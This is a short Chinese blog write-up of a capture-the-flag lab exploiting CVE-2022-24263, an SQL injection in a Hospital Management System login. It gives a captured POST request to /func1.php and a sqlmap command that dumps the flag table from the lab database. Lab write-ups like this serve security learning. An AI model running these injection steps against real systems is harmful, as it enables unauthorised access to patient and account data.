[春秋云镜]CVE-2022-24263

春天11-

已于 2022-12-03 21:21:26 修改

阅读量708

点赞数

分类专栏：春秋云镜靶场文章标签：安全 web安全

于 2022-11-29 21:28:06 首次发布

本文链接：https://blog.csdn.net/niubi707/article/details/128105661

版权

春秋云镜同时被 2 个专栏收录

36 篇文章 2 订阅

订阅专栏

靶场

36 篇文章 2 订阅

订阅专栏

本文介绍了春秋云镜靶场中的一个SQL注入问题，靶场地址为http://eci-2ze6z6gdw8c1bleut7gc.cloudeci1.ichunqiu.com/。文中提到登录接口存在注入漏洞，可以使用SQLMAP进行测试。作者强调所有渗透测试需获取授权，不得用于非法用途。

摘要由CSDN通过智能技术生成

声明：⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤，任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的，否则后果⾃⾏承担。所有渗透都需获取授权！

靶场介绍

Hospital Management System sqli

春秋云镜开启靶场：

http://eci-2ze6z6gdw8c1bleut7gc.cloudeci1.ichunqiu.com/

登录处存在注入

登录抓包 SQLMAP可以直接跑

POST /func1.php HTTP/1.1
Host: eci-2ze6z6gdw8c1bleut7gc.cloudeci1.ichunqiu.com
Content-Length: 45
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2ze6z6gdw8c1bleut7gc.cloudeci1.ichunqiu.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2ze6z6gdw8c1bleut7gc.cloudeci1.ichunqiu.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.2.1845746631.1669726499; _gid=GA1.2.1206934793.1669726499
Connection: close

username3=admin&password3=admin&docsub1=Login

└─# sqlmap -r /root/桌面/post2.txt -D ctf -T flag -C flag --dump --batch